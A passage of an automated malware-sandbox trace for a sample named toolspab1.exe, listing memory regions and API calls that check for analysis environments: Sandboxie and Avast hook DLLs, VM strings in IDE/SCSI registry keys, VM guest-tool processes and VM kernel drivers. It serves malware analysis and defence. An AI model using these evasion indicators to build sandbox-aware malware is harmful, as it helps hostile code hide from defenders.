0x1dd0000 end_va = 0x1ecffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001dd0000" filename = "" Region: id = 377 start_va = 0x1f10000 end_va = 0x1f1ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001f10000" filename = "" Region: id = 378 start_va = 0x1f20000 end_va = 0x209afff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll") Region: id = 379 start_va = 0x20a0000 end_va = 0x219ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000020a0000" filename = "" Region: id = 380 start_va = 0x4e0000 end_va = 0x4e5fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004e0000" filename = "" Region: id = 381 start_va = 0x4f0000 end_va = 0x4f4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000004f0000" filename = "" Region: id = 825 start_va = 0x500000 end_va = 0x515fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000500000" filename = "" Thread: id = 3 os_tid = 0x1180 [0238.278] RtlInitUnicodeString (in: DestinationString=0x19ff4c, SourceString="kernel32" | out: DestinationString="kernel32") [0238.278] LdrLoadDll (in: SearchPath=0x0, LoadFlags=0x0, Name="kernel32", BaseAddress=0x19ff54 | out: BaseAddress=0x19ff54*=0x74f30000) returned 0x0 [0238.278] RtlInitUnicodeString (in: DestinationString=0x19ff4c, SourceString="user32" | out: DestinationString="user32") [0238.278] LdrLoadDll (in: SearchPath=0x0, LoadFlags=0x0, Name="user32", BaseAddress=0x19ff54 | out: BaseAddress=0x19ff54*=0x750d0000) returned 0x0 [0238.561] RtlInitUnicodeString (in: DestinationString=0x19ff4c, SourceString="advapi32" | out: DestinationString="advapi32") [0238.561] LdrLoadDll (in: SearchPath=0x0, LoadFlags=0x0, Name="advapi32", BaseAddress=0x19ff54 | out: BaseAddress=0x19ff54*=0x77b10000) returned 0x0 [0239.782] RtlInitUnicodeString (in: DestinationString=0x19ff4c, SourceString="shell32" | out: DestinationString="shell32") [0239.782] LdrLoadDll (in: SearchPath=0x0, LoadFlags=0x0, Name="shell32", BaseAddress=0x19ff54 | out: BaseAddress=0x19ff54*=0x75690000) returned 0x0 [0248.124] GetKeyboardLayoutList (in: nBuff=0, lpList=0x0 | out: lpList=0x0) returned 1 [0248.124] LocalAlloc (uFlags=0x40, uBytes=0x4) returned 0x557430 [0248.124] GetKeyboardLayoutList (in: nBuff=1, lpList=0x557430 | out: lpList=0x557430) returned 1 [0248.125] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x8, TokenHandle=0x19fb0c | out: TokenHandle=0x19fb0c*=0x150) returned 1 [0248.125] GetTokenInformation (in: TokenHandle=0x150, TokenInformationClass=0x19, TokenInformation=0x19fb10, TokenInformationLength=0x14, ReturnLength=0x19fb08 | out: TokenInformation=0x19fb10, ReturnLength=0x19fb08) returned 1 [0248.125] ExpandEnvironmentStringsW (in: lpSrc="%systemroot%\\system32\\ntdll.dll", lpDst=0x19fd4c, nSize=0x104 | out: lpDst="C:\\Windows\\system32\\ntdll.dll") returned 0x1e [0248.125] CreateFileW (lpFileName="C:\\Windows\\system32\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x154 [0248.126] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x1000002, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName=0x0) returned 0x158 [0248.126] MapViewOfFile (hFileMappingObject=0x158, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x1f20000 [0248.130] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x19fd50, nSize=0x104 | out: lpFilename="C:\\Users\\RDhJ0CNFevzX\\Desktop\\toolspab1.exe" (normalized: "c:\\users\\rdhj0cnfevzx\\desktop\\toolspab1.exe")) returned 0x2b [0248.130] wcsstr (_Str="C:\\Users\\RDhJ0CNFevzX\\Desktop\\toolspab1.exe", _SubStr="7869.vmt") returned 0x0 [0248.130] NtQuerySystemInformation (in: SystemInformationClass=0x67, SystemInformation=0x19ff4c, Length=0x8, ResultLength=0x0 | out: SystemInformation=0x19ff4c, ResultLength=0x0) returned 0x0 [0248.131] NtQueryInformationProcess (in: ProcessHandle=0xffffffff, ProcessInformationClass=0x7, ProcessInformation=0x19ff54, ProcessInformationLength=0x4, ReturnLength=0x0 | out: ProcessInformation=0x19ff54, ReturnLength=0x0) returned 0x0 [0248.131] GetModuleHandleA (lpModuleName="sbiedll") returned 0x0 [0248.131] GetModuleHandleA (lpModuleName="aswhook") returned 0x0 [0248.131] GetModuleHandleA (lpModuleName="snxhk") returned 0x0 [0248.131] LocalAlloc (uFlags=0x40, uBytes=0x104) returned 0x55a008 [0248.131] lstrcatW (in: lpString1="", lpString2="\\REGISTRY\\MACHINE\\System\\CurrentControlSet\\Enum\\IDE" | out: lpString1="\\REGISTRY\\MACHINE\\System\\CurrentControlSet\\Enum\\IDE") returned="\\REGISTRY\\MACHINE\\System\\CurrentControlSet\\Enum\\IDE" [0248.131] RtlInitUnicodeString (in: DestinationString=0x19ff20, SourceString="\\REGISTRY\\MACHINE\\System\\CurrentControlSet\\Enum\\IDE" | out: DestinationString="\\REGISTRY\\MACHINE\\System\\CurrentControlSet\\Enum\\IDE") [0248.132] NtOpenKey (in: KeyHandle=0x19ff40, DesiredAccess=0x9, ObjectAttributes=0x19ff28*(Length=0x18, RootDirectory=0x0, ObjectName="\\REGISTRY\\MACHINE\\System\\CurrentControlSet\\Enum\\IDE", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0) | out: KeyHandle=0x19ff40*=0x0) returned 0xc0000034 [0248.132] LocalFree (hMem=0x55a008) returned 0x0 [0248.132] LocalAlloc (uFlags=0x40, uBytes=0x104) returned 0x55a008 [0248.132] lstrcatW (in: lpString1="", lpString2="\\REGISTRY\\MACHINE\\System\\CurrentControlSet\\Enum\\SCSI" | out: lpString1="\\REGISTRY\\MACHINE\\System\\CurrentControlSet\\Enum\\SCSI") returned="\\REGISTRY\\MACHINE\\System\\CurrentControlSet\\Enum\\SCSI" [0248.132] RtlInitUnicodeString (in: DestinationString=0x19ff20, SourceString="\\REGISTRY\\MACHINE\\System\\CurrentControlSet\\Enum\\SCSI" | out: DestinationString="\\REGISTRY\\MACHINE\\System\\CurrentControlSet\\Enum\\SCSI") [0248.132] NtOpenKey (in: KeyHandle=0x19ff40, DesiredAccess=0x9, ObjectAttributes=0x19ff28*(Length=0x18, RootDirectory=0x0, ObjectName="\\REGISTRY\\MACHINE\\System\\CurrentControlSet\\Enum\\SCSI", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0) | out: KeyHandle=0x19ff40*=0x15c) returned 0x0 [0248.133] NtQueryKey (in: KeyHandle=0x15c, KeyInformationClass=0x2, KeyInformation=0x0, Length=0x0, ResultLength=0x19ff48 | out: KeyInformation=0x0, ResultLength=0x19ff48) returned 0xc0000023 [0248.133] LocalAlloc (uFlags=0x40, uBytes=0x2c) returned 0x559de8 [0248.133] NtQueryKey (in: KeyHandle=0x15c, KeyInformationClass=0x2, KeyInformation=0x559de8, Length=0x2c, ResultLength=0x19ff48 | out: KeyInformation=0x559de8, ResultLength=0x19ff48) returned 0x0 [0248.133] NtEnumerateKey (in: KeyHandle=0x15c, Index=0x0, KeyInformationClass=0x0, KeyInformation=0x0, Length=0x0, ResultLength=0x19ff48 | out: KeyInformation=0x0, ResultLength=0x19ff48) returned 0xc0000023 [0248.133] LocalAlloc (uFlags=0x40, uBytes=0x4e) returned 0x55a118 [0248.133] NtEnumerateKey (in: KeyHandle=0x15c, Index=0x0, KeyInformationClass=0x0, KeyInformation=0x55a118, Length=0x4e, ResultLength=0x19ff48 | out: KeyInformation=0x55a118, ResultLength=0x19ff48) returned 0x0 [0248.134] wcsstr (_Str="cdrom&ven_asus&prod_drw-24f1st", _SubStr="qemu") returned 0x0 [0248.134] wcsstr (_Str="cdrom&ven_asus&prod_drw-24f1st", _SubStr="virtio") returned 0x0 [0248.134] wcsstr (_Str="cdrom&ven_asus&prod_drw-24f1st", _SubStr="vmware") returned 0x0 [0248.134] wcsstr (_Str="cdrom&ven_asus&prod_drw-24f1st", _SubStr="vbox") returned 0x0 [0248.134] wcsstr (_Str="cdrom&ven_asus&prod_drw-24f1st", _SubStr="xen") returned 0x0 [0248.134] LocalFree (hMem=0x55a118) returned 0x0 [0248.146] NtEnumerateKey (in: KeyHandle=0x15c, Index=0x1, KeyInformationClass=0x0, KeyInformation=0x0, Length=0x0, ResultLength=0x19ff48 | out: KeyInformation=0x0, ResultLength=0x19ff48) returned 0xc0000023 [0248.146] LocalAlloc (uFlags=0x40, uBytes=0x44) returned 0x55a118 [0248.146] NtEnumerateKey (in: KeyHandle=0x15c, Index=0x1, KeyInformationClass=0x0, KeyInformation=0x55a118, Length=0x44, ResultLength=0x19ff48 | out: KeyInformation=0x55a118, ResultLength=0x19ff48) returned 0x0 [0248.147] wcsstr (_Str="cdrom&ven_hp&prod_ar629aa", _SubStr="qemu") returned 0x0 [0248.147] wcsstr (_Str="cdrom&ven_hp&prod_ar629aa", _SubStr="virtio") returned 0x0 [0248.147] wcsstr (_Str="cdrom&ven_hp&prod_ar629aa", _SubStr="vmware") returned 0x0 [0248.147] wcsstr (_Str="cdrom&ven_hp&prod_ar629aa", _SubStr="vbox") returned 0x0 [0248.147] wcsstr (_Str="cdrom&ven_hp&prod_ar629aa", _SubStr="xen") returned 0x0 [0248.147] LocalFree (hMem=0x55a118) returned 0x0 [0248.147] NtEnumerateKey (in: KeyHandle=0x15c, Index=0x2, KeyInformationClass=0x0, KeyInformation=0x0, Length=0x0, ResultLength=0x19ff48 | out: KeyInformation=0x0, ResultLength=0x19ff48) returned 0xc0000023 [0248.148] LocalAlloc (uFlags=0x40, uBytes=0x50) returned 0x55a118 [0248.148] NtEnumerateKey (in: KeyHandle=0x15c, Index=0x2, KeyInformationClass=0x0, KeyInformation=0x55a118, Length=0x50, ResultLength=0x19ff48 | out: KeyInformation=0x55a118, ResultLength=0x19ff48) returned 0x0 [0248.149] wcsstr (_Str="cdrom&ven_samsung&prod_sh-224bb", _SubStr="qemu") returned 0x0 [0248.149] wcsstr (_Str="cdrom&ven_samsung&prod_sh-224bb", _SubStr="virtio") returned 0x0 [0248.149] wcsstr (_Str="cdrom&ven_samsung&prod_sh-224bb", _SubStr="vmware") returned 0x0 [0248.149] wcsstr (_Str="cdrom&ven_samsung&prod_sh-224bb", _SubStr="vbox") returned 0x0 [0248.149] wcsstr (_Str="cdrom&ven_samsung&prod_sh-224bb", _SubStr="xen") returned 0x0 [0248.149] LocalFree (hMem=0x55a118) returned 0x0 [0248.151] NtEnumerateKey (in: KeyHandle=0x15c, Index=0x3, KeyInformationClass=0x0, KeyInformation=0x0, Length=0x0, ResultLength=0x19ff48 | out: KeyInformation=0x0, ResultLength=0x19ff48) returned 0xc0000023 [0248.151] LocalAlloc (uFlags=0x40, uBytes=0x46) returned 0x55a118 [0248.151] NtEnumerateKey (in: KeyHandle=0x15c, Index=0x3, KeyInformationClass=0x0, KeyInformation=0x55a118, Length=0x46, ResultLength=0x19ff48 | out: KeyInformation=0x55a118, ResultLength=0x19ff48) returned 0x0 [0248.152] wcsstr (_Str="disk&ven_&prod_st3160215as", _SubStr="qemu") returned 0x0 [0248.152] wcsstr (_Str="disk&ven_&prod_st3160215as", _SubStr="virtio") returned 0x0 [0248.152] wcsstr (_Str="disk&ven_&prod_st3160215as", _SubStr="vmware") returned 0x0 [0248.152] wcsstr (_Str="disk&ven_&prod_st3160215as", _SubStr="vbox") returned 0x0 [0248.152] wcsstr (_Str="disk&ven_&prod_st3160215as", _SubStr="xen") returned 0x0 [0248.152] LocalFree (hMem=0x55a118) returned 0x0 [0248.152] LocalFree (hMem=0x559de8) returned 0x0 [0248.153] NtClose (Handle=0x15c) returned 0x0 [0248.153] LocalFree (hMem=0x55a008) returned 0x0 [0248.153] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x0, Length=0x0, ResultLength=0x19ff54 | out: SystemInformation=0x0, ResultLength=0x19ff54*=0x20028) returned 0xc0000004 [0248.161] LocalAlloc (uFlags=0x40, uBytes=0x21028) returned 0x1dd2050 [0248.164] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1dd2050, Length=0x21028, ResultLength=0x19ff54 | out: SystemInformation=0x1dd2050, ResultLength=0x19ff54*=0x18e08) returned 0x0 [0248.168] wcsstr (_Str="system", _SubStr="qemu-ga.exe") returned 0x0 [0248.168] wcsstr (_Str="system", _SubStr="qga.exe") returned 0x0 [0248.168] wcsstr (_Str="system", _SubStr="windanr.exe") returned 0x0 [0248.168] wcsstr (_Str="system", _SubStr="vboxservice.exe") returned 0x0 [0248.168] wcsstr (_Str="system", _SubStr="vboxtray.exe") returned 0x0 [0248.168] wcsstr (_Str="system", _SubStr="vmtoolsd.exe") returned 0x0 [0248.168] wcsstr (_Str="system", _SubStr="prl_tools.exe") returned 0x0 [0248.169] wcsstr (_Str="smss.exe", _SubStr="qemu-ga.exe") returned 0x0 [0248.169] wcsstr (_Str="smss.exe", _SubStr="qga.exe") returned 0x0 [0248.169] wcsstr (_Str="smss.exe", _SubStr="windanr.exe") returned 0x0 [0248.169] wcsstr (_Str="smss.exe", _SubStr="vboxservice.exe") returned 0x0 [0248.169] wcsstr (_Str="smss.exe", _SubStr="vboxtray.exe") returned 0x0 [0248.169] wcsstr (_Str="smss.exe", _SubStr="vmtoolsd.exe") returned 0x0 [0248.169] wcsstr (_Str="smss.exe", _SubStr="prl_tools.exe") returned 0x0 [0248.169] wcsstr (_Str="csrss.exe", _SubStr="qemu-ga.exe") returned 0x0 [0248.169] wcsstr (_Str="csrss.exe", _SubStr="qga.exe") returned 0x0 [0248.169] wcsstr (_Str="csrss.exe", _SubStr="windanr.exe") returned 0x0 [0248.170] wcsstr (_Str="csrss.exe", _SubStr="vboxservice.exe") returned 0x0 [0248.170] wcsstr (_Str="csrss.exe", _SubStr="vboxtray.exe") returned 0x0 [0248.170] wcsstr (_Str="csrss.exe", _SubStr="vmtoolsd.exe") returned 0x0 [0248.170] wcsstr (_Str="csrss.exe", _SubStr="prl_tools.exe") returned 0x0 [0248.170] wcsstr (_Str="wininit.exe", _SubStr="qemu-ga.exe") returned 0x0 [0248.170] wcsstr (_Str="wininit.exe", _SubStr="qga.exe") returned 0x0 [0248.170] wcsstr (_Str="wininit.exe", _SubStr="windanr.exe") returned 0x0 [0248.170] wcsstr (_Str="wininit.exe", _SubStr="vboxservice.exe") returned 0x0 [0248.170] wcsstr (_Str="wininit.exe", _SubStr="vboxtray.exe") returned 0x0 [0248.170] wcsstr (_Str="wininit.exe", _SubStr="vmtoolsd.exe") returned 0x0 [0248.170] wcsstr (_Str="wininit.exe", _SubStr="prl_tools.exe") returned 0x0 [0248.171] wcsstr (_Str="csrss.exe", _SubStr="qemu-ga.exe") returned 0x0 [0248.171] wcsstr (_Str="csrss.exe", _SubStr="qga.exe") returned 0x0 [0248.171] wcsstr (_Str="csrss.exe", _SubStr="windanr.exe") returned 0x0 [0248.171] wcsstr (_Str="csrss.exe", _SubStr="vboxservice.exe") returned 0x0 [0248.171] wcsstr (_Str="csrss.exe", _SubStr="vboxtray.exe") returned 0x0 [0248.171] wcsstr (_Str="csrss.exe", _SubStr="vmtoolsd.exe") returned 0x0 [0248.171] wcsstr (_Str="csrss.exe", _SubStr="prl_tools.exe") returned 0x0 [0248.171] wcsstr (_Str="winlogon.exe", _SubStr="qemu-ga.exe") returned 0x0 [0248.172] wcsstr (_Str="winlogon.exe", _SubStr="qga.exe") returned 0x0 [0248.172] wcsstr (_Str="winlogon.exe", _SubStr="windanr.exe") returned 0x0 [0248.172] wcsstr (_Str="winlogon.exe", _SubStr="vboxservice.exe") returned 0x0 [0248.172] wcsstr (_Str="winlogon.exe", _SubStr="vboxtray.exe") returned 0x0 [0248.172] wcsstr (_Str="winlogon.exe", _SubStr="vmtoolsd.exe") returned 0x0 [0248.172] wcsstr (_Str="winlogon.exe", _SubStr="prl_tools.exe") returned 0x0 [0248.172] wcsstr (_Str="services.exe", _SubStr="qemu-ga.exe") returned 0x0 [0248.172] wcsstr (_Str="services.exe", _SubStr="qga.exe") returned 0x0 [0248.172] wcsstr (_Str="services.exe", _SubStr="windanr.exe") returned 0x0 [0248.172] wcsstr (_Str="services.exe", _SubStr="vboxservice.exe") returned 0x0 [0248.172] wcsstr (_Str="services.exe", _SubStr="vboxtray.exe") returned 0x0 [0248.172] wcsstr (_Str="services.exe", _SubStr="vmtoolsd.exe") returned 0x0 [0248.172] wcsstr (_Str="services.exe", _SubStr="prl_tools.exe") returned 0x0 [0248.173] wcsstr (_Str="lsass.exe", _SubStr="qemu-ga.exe") returned 0x0 [0248.173] wcsstr (_Str="lsass.exe", _SubStr="qga.exe") returned 0x0 [0248.173] wcsstr (_Str="lsass.exe", _SubStr="windanr.exe") returned 0x0 [0248.173] wcsstr (_Str="lsass.exe", _SubStr="vboxservice.exe") returned 0x0 [0248.173] wcsstr (_Str="lsass.exe", _SubStr="vboxtray.exe") returned 0x0 [0248.173] wcsstr (_Str="lsass.exe", _SubStr="vmtoolsd.exe") returned 0x0 [0248.173] wcsstr (_Str="lsass.exe", _SubStr="prl_tools.exe") returned 0x0 [0248.173] wcsstr (_Str="svchost.exe", _SubStr="qemu-ga.exe") returned 0x0 [0248.174] wcsstr (_Str="svchost.exe", _SubStr="qga.exe") returned 0x0 [0248.174] wcsstr (_Str="svchost.exe", _SubStr="windanr.exe") returned 0x0 [0248.174] wcsstr (_Str="svchost.exe", _SubStr="vboxservice.exe") returned 0x0 [0248.174] wcsstr (_Str="svchost.exe", _SubStr="vboxtray.exe") returned 0x0 [0248.174] wcsstr (_Str="svchost.exe", _SubStr="vmtoolsd.exe") returned 0x0 [0248.174] wcsstr (_Str="svchost.exe", _SubStr="prl_tools.exe") returned 0x0 [0248.174] wcsstr (_Str="svchost.exe", _SubStr="qemu-ga.exe") returned 0x0 [0248.174] wcsstr (_Str="svchost.exe", _SubStr="qga.exe") returned 0x0 [0248.174] wcsstr (_Str="svchost.exe", _SubStr="windanr.exe") returned 0x0 [0248.174] wcsstr (_Str="svchost.exe", _SubStr="vboxservice.exe") returned 0x0 [0248.174] wcsstr (_Str="svchost.exe", _SubStr="vboxtray.exe") returned 0x0 [0248.174] wcsstr (_Str="svchost.exe", _SubStr="vmtoolsd.exe") returned 0x0 [0248.174] wcsstr (_Str="svchost.exe", _SubStr="prl_tools.exe") returned 0x0 [0248.175] wcsstr (_Str="dwm.exe", _SubStr="qemu-ga.exe") returned 0x0 [0248.175] wcsstr (_Str="dwm.exe", _SubStr="qga.exe") returned 0x0 [0248.175] wcsstr (_Str="dwm.exe", _SubStr="windanr.exe") returned 0x0 [0248.175] wcsstr (_Str="dwm.exe", _SubStr="vboxservice.exe") returned 0x0 [0248.175] wcsstr (_Str="dwm.exe", _SubStr="vboxtray.exe") returned 0x0 [0248.175] wcsstr (_Str="dwm.exe", _SubStr="vmtoolsd.exe") returned 0x0 [0248.175] wcsstr (_Str="dwm.exe", _SubStr="prl_tools.exe") returned 0x0 [0248.176] wcsstr (_Str="svchost.exe", _SubStr="qemu-ga.exe") returned 0x0 [0248.176] wcsstr (_Str="svchost.exe", _SubStr="qga.exe") returned 0x0 [0248.176] wcsstr (_Str="svchost.exe", _SubStr="windanr.exe") returned 0x0 [0248.176] wcsstr (_Str="svchost.exe", _SubStr="vboxservice.exe") returned 0x0 [0248.176] wcsstr (_Str="svchost.exe", _SubStr="vboxtray.exe") returned 0x0 [0248.176] wcsstr (_Str="svchost.exe", _SubStr="vmtoolsd.exe") returned 0x0 [0248.176] wcsstr (_Str="svchost.exe", _SubStr="prl_tools.exe") returned 0x0 [0248.176] wcsstr (_Str="svchost.exe", _SubStr="qemu-ga.exe") returned 0x0 [0248.176] wcsstr (_Str="svchost.exe", _SubStr="qga.exe") returned 0x0 [0248.176] wcsstr (_Str="svchost.exe", _SubStr="windanr.exe") returned 0x0 [0248.176] wcsstr (_Str="svchost.exe", _SubStr="vboxservice.exe") returned 0x0 [0248.176] wcsstr (_Str="svchost.exe", _SubStr="vboxtray.exe") returned 0x0 [0248.177] wcsstr (_Str="svchost.exe", _SubStr="vmtoolsd.exe") returned 0x0 [0248.177] wcsstr (_Str="svchost.exe", _SubStr="prl_tools.exe") returned 0x0 [0248.177] wcsstr (_Str="svchost.exe", _SubStr="qemu-ga.exe") returned 0x0 [0248.177] wcsstr (_Str="svchost.exe", _SubStr="qga.exe") returned 0x0 [0248.177] wcsstr (_Str="svchost.exe", _SubStr="windanr.exe") returned 0x0 [0248.177] wcsstr (_Str="svchost.exe", _SubStr="vboxservice.exe") returned 0x0 [0248.177] wcsstr (_Str="svchost.exe", _SubStr="vboxtray.exe") returned 0x0 [0248.177] wcsstr (_Str="svchost.exe", _SubStr="vmtoolsd.exe") returned 0x0 [0248.177] wcsstr (_Str="svchost.exe", _SubStr="prl_tools.exe") returned 0x0 [0248.179] LocalFree (hMem=0x1dd2050) returned 0x0 [0248.179] NtQuerySystemInformation (in: SystemInformationClass=0xb, SystemInformation=0x0, Length=0x0, ResultLength=0x19ff54 | out: SystemInformation=0x0, ResultLength=0x19ff54*=0x9800) returned 0xc0000004 [0248.179] LocalAlloc (uFlags=0x40, uBytes=0xa800) returned 0x1dd2050 [0248.179] NtQuerySystemInformation (in: SystemInformationClass=0xb, SystemInformation=0x1dd2050, Length=0xa800, ResultLength=0x19ff54 | out: SystemInformation=0x1dd2050, ResultLength=0x19ff54*=0x9800) returned 0x0 [0248.180] strstr (_Str="ntoskrnl.exe", _SubStr="vmci.s") returned 0x0 [0248.180] strstr (_Str="ntoskrnl.exe", _SubStr="vmusbm") returned 0x0 [0248.180] strstr (_Str="ntoskrnl.exe", _SubStr="vmmous") returned 0x0 [0248.180] strstr (_Str="ntoskrnl.exe", _SubStr="vm3dmp") returned 0x0 [0248.180] strstr (_Str="ntoskrnl.exe", _SubStr="vmrawd") returned 0x0 [0248.181] strstr (_Str="ntoskrnl.exe", _SubStr="vmmemc") returned 0x0 [0248.181] strstr (_Str="ntoskrnl.exe", _SubStr="vboxgu") returned 0x0 [0248.181] strstr (_Str="ntoskrnl.exe", _SubStr="vboxsf") returned 0x0 [0248.181] strstr (_Str="ntoskrnl.exe", _SubStr="vboxmo") returned 0x0 [0248.181] strstr (_Str="ntoskrnl.exe", _SubStr="vboxvi") returned 0x0 [0248.181] strstr (_Str="ntoskrnl.exe", _SubStr="vboxdi") returned 0x0 [0248.181] strstr (_Str="ntoskrnl.exe", _SubStr="vioser") returned 0x0 [0248.181] strstr (_Str="hal.dll", _SubStr="vmci.s") returned 0x0 [0248.181] strstr (_Str="hal.dll", _SubStr="vmusbm") returned 0x0 [0248.181] strstr (_Str="hal.dll", _SubStr="vmmous") returned 0x0 [0248.181] strstr (_Str="hal.dll", _SubStr="vm3dmp") returned 0x0 [0248.181] strstr (_Str="hal.dll", _SubStr="vmrawd") returned 0x0 [0248.181] strstr (_Str="hal.dll", _SubStr="vmmemc") returned 0x0 [0248.181] strstr (_Str="hal.dll", _SubStr="vboxgu") returned 0x0 [0248.181] strstr (_Str="hal.dll", _SubStr="vboxsf") returned 0x0 [0248.181] strstr (_Str="hal.dll", _SubStr="vboxmo") returned 0x0 [0248.182] strstr (_Str="hal.dll", _SubStr="vboxvi") returned 0x0 [0248.182] strstr (_Str="hal.dll", _SubStr="vboxdi") returned 0x0 [0248.182] strstr (_Str="hal.dll", _SubStr="vioser") returned 0x0 [0248.182] strstr (_Str="kd.dll", _SubStr="vmci.s") returned 0x0 [0248.182] strstr (_Str="kd.dll", _SubStr="vmusbm") returned 0x0 [0248.182] strstr (_Str="kd.dll", _SubStr="vmmous") returned 0x0 [0248.191] strstr (_Str="kd.dll", _SubStr="vm3dmp") returned 0x0 [0248.191] strstr (_Str="kd.dll", _SubStr="vmrawd") returned 0x0 [0248.191] strstr (_Str="kd.dll", _SubStr="vmmemc") returned 0x0 [0248.192] strstr (_Str="kd.dll", _SubStr="vboxgu") returned 0x0 [0248.192] strstr (_Str="kd.dll", _SubStr="vboxsf") returned 0x0 [0248.192] strstr (_Str="kd.dll", _SubStr="vboxmo") returned 0x0 [0248.192] strstr (_Str="kd.dll", _SubStr="vboxvi") returned 0x0 [0248.192] strstr (_Str="kd.dll", _SubStr="vboxdi") returned 0x0 [0248.192] strstr (_Str="kd.dll", _SubStr="vioser") returned 0x0 [0248.193] strstr (_Str="mcupdate_genuineintel.dll", _SubStr="vmci.s") returned 0x0 [0248.193] strstr (_Str="mcupdate_genuineintel.dll", _SubStr="vmusbm") returned 0x0 [0248.193] strstr (_Str="mcupdate_genuineintel.dll", _SubStr="vmmous") returned 0x0 [0248.193] strstr (_Str="mcupdate_genuineintel.dll", _SubStr="vm3dmp") returned 0x0 [0248.193] strstr (_Str="mcupdate_genuineintel.dll", _SubStr="vmrawd") returned 0x0 [0248.193] strstr (_Str="mcupdate_genuineintel.dll", _SubStr="vmmemc") returned 0x0 [0248.193] strstr (_Str="mcupdate_genuineintel.dll", _SubStr="vboxgu") returned 0x0 [0248.193] strstr (_Str="mcupdate_genuineintel.dll", _SubStr="vboxsf") returned 0x0 [0248.193] strstr (_Str="mcupdate_genuineintel.dll", _SubStr="vboxmo") returned 0x0 [0248.193] strstr (_Str="mcupdate_genuineintel.dll", _SubStr="vboxvi") returned 0x0 [0248.193] strstr (_Str="mcupdate_genuineintel.dll", _SubStr="vboxdi") returned 0x0 [0248.193] strstr (_Str="mcupdate_genuineintel.dll", _SubStr="vioser") returned 0x0 [0248.194] strstr (_Str="werkernel.sys", _SubStr="vmci.s") returned 0x0 [0248.194] strstr (_Str="werkernel.sys", _SubStr="vmusbm") returned 0x0 [0248.194] strstr (_Str="werkernel.sys", _SubStr="vmmous") returned 0x0 [0248.194] strstr (_Str="werkernel.sys", _SubStr="vm3dmp") returned 0x0 [0248.194] strstr (_Str="werkernel.sys", _SubStr="vmrawd") returned 0x0 [0248.194] strstr (_Str="werkernel.sys", _SubStr="vmmemc") returned 0x0 [0248.194] strstr (_Str="werkernel.sys", _SubStr="vboxgu") returned 0x0 [0248.194] strstr (_Str="werkernel.sys", _SubStr="vboxsf") returned 0x0 [0248.194] strstr (_Str="werkernel.sys", _SubStr="vboxmo") returned 0x0 [0248.194] strstr (_Str="werkernel.sys", _SubStr="vboxvi") returned 0x0 [0248.194] strstr (_Str="werkernel.sys", _SubStr="vboxdi") returned 0x0 [0248.194] strstr (_Str="werkernel.sys", _SubStr="vioser") returned 0x0 [0248.194] strstr (_Str="clfs.sys", _SubStr="vmci.s") returned 0x0 [0248.194] strstr (_Str="clfs.sys", _SubStr="vmusbm") returned 0x0 [0248.195] strstr (_Str="clfs.sys", _SubStr="vmmous") returned 0x0 [0248.195] strstr (_Str="clfs.sys", _SubStr="vm3dmp") returned 0x0 [0248.195] strstr (_Str="clfs.sys", _SubStr="vmrawd") returned 0x0 [0248.195] strstr (_Str="clfs.sys", _SubStr="vmmemc") returned 0x0 [0248.195] strstr (_Str="clfs.sys", _SubStr="vboxgu") returned 0x0 [0248.195] strstr (_Str="clfs.sys", _SubStr="vboxsf") returned 0x0 [0248.195] strstr (_Str="clfs.sys", _SubStr="vboxmo") returned 0x0 [0248.195] strstr (_Str="clfs.sys", _SubStr="vboxvi") returned 0x0 [0248.195] strstr (_Str="clfs.sys", _SubStr="vboxdi") returned 0x0 [0248.195] strstr (_Str="clfs.sys", _SubStr="vioser") returned 0x0 [0248.195] strstr (_Str="tm.sys", _SubStr="vmci.s") returned 0x0 [0248.195] strstr (_Str="tm.sys", _SubStr="vmusbm") returned 0x0 [0248.195] strstr (_Str="tm.sys", _SubStr="vmmous") returned 0x0 [0248.195] strstr (_Str="tm.sys", _SubStr="vm3dmp") returned 0x0 [0248.195] strstr (_Str="tm.sys", _SubStr="vmrawd") returned 0x0 [0248.196] strstr (_Str="tm.sys", _SubStr="vmmemc") returned 0x0 [0248.196] strstr (_Str="tm.sys", _SubStr="vboxgu") returned 0x0 [0248.196] strstr (_Str="tm.sys", _SubStr="vboxsf") returned 0x0 [0248.196] strstr (_Str="tm.sys", _SubStr="vboxmo") returned 0x0 [0248.196] strstr (_Str="tm.sys", _SubStr="vboxvi") returned 0x0 [0248.196] strstr (_Str="tm.sys", _SubStr="vboxdi") returned 0x0 [0248.196] strstr (_Str="tm.sys", _SubStr="vioser") returned 0x0 [0248.196] strstr (_Str="pshed.dll", _SubStr="vmci.s") returned 0x0 [0248.196] strstr (_Str="pshed.dll", _SubStr="vmusbm") returned 0x0 [0248.196] strstr (_Str="pshed.dll", _SubStr="vmmous") returned 0x0 [0248.196] strstr (_Str="pshed.dll", _SubStr="vm3dmp") returned 0x0 [0248.196] strstr (_Str="pshed.dll", _SubStr="vmrawd") returned 0x0 [0248.196] strstr (_Str="pshed.dll", _SubStr="vmmemc") returned 0x0 [0248.196] strstr (_Str="pshed.dll", _SubStr="vboxgu") returned 0x0 [0248.196] strstr (_Str="pshed.dll", _SubStr="vboxsf") returned 0x0 [0248.196] strstr (_Str="pshed.dll", _SubStr="vboxmo") returned 0x0 [0248.197] strstr (_Str="pshed.dll", _SubStr="vboxvi") returned 0x0 [0248.197] strstr 